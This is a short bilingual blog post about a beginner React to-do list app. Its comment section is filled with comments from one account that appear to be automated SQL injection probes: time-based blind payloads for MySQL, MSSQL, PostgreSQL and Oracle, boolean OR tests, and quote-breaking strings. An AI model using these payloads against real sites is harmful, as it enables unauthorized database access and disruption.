[App] My Todo List

SW Development
[App] 나의 할일 목록
Posted on May 31, 2024, 4:52 a.m. by SANGJIN
random_image

While learning REACT, I created a very simple and single web page(My Todo List), which is to manage daily tasks. The list is not stored and reset when refreshing the page. ==> The storage will be added

Features are as below

  • Add and remove to-do lists

  • Mark complated(existing) to-do lists

  • Display warning if it reaches the limit

What I used

  • HTML5, CSS, Javascript, React

==

REACT를 배우는 도중, 아주 간단한 한페이지짜리 '할일목록(My Todo List)' 웹 페이지를 만들어 보았다. 데이터가 저장되지는 않고, 웹을 새로고침하면 초기화 된다. ==> 저장기능은 추가 예정

아래와 같은 간단한 기능들을 포함하고 있다.

  • 할일목록 추가 및 삭제

  • 완료한 일 표시 (취소선 표시)

  • 10개 이상 등록한 경우 경고 표시 (제한)

내가 적용한 기술들은 다음와 같다.

  • HTML5, CSS, Javascript, React

HTML5 CSS Javascript React

Leave a Comment:
Log in and leave a comment
fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

uzpFu2xv

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 2+228-228-1=0+0+0+1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 3+228-228-1=0+0+0+1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*if(now()=sysdate(),sleep(15),0)

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1); waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

xxQVuzxu'; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 483=(SELECT 483 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1) OR 595=(SELECT 595 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1)) OR 235=(SELECT 235 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

jUuwcLmK' OR 295=(SELECT 295 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

qmJNBVrn') OR 153=(SELECT 153 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

LBtAnd8G')) OR 786=(SELECT 786 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

'"

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

����%2527%2522\'\"

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

@@sHh4Q

Updated: May 8, 2026, 8:12 a.m.